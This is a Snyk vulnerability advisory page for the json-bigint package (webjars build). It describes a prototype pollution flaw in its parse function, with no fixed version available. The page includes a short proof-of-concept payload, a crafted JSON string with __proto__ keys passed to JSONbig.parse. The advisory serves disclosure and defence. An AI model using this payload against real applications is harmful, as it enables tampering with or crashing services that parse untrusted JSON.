org.webjars.npm:json-bigint@1.0.0 vulnerabilities

  • latest version

    1.0.0

  • first published

    8 years ago

  • latest version published

    3 years ago

  • licenses detected

  • package manager

  • Direct Vulnerabilities

    Known vulnerabilities in the org.webjars.npm:json-bigint package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    org.webjars.npm:json-bigint is a JSON.parse with bigints support

    Affected versions of this package are vulnerable to Prototype Pollution via the parse function.

    POC

    const JSONbig = require('json-bigint')
    const json = '{"__proto__":1000000000000000,"c":{"__proto__":[],"length":1e200}}'
    const r = JSONbig.parse(json)
    console.log(r.toString())
    

    How to fix Prototype Pollution?

    There is no fixed version for org.webjars.npm:json-bigint.

    [0,)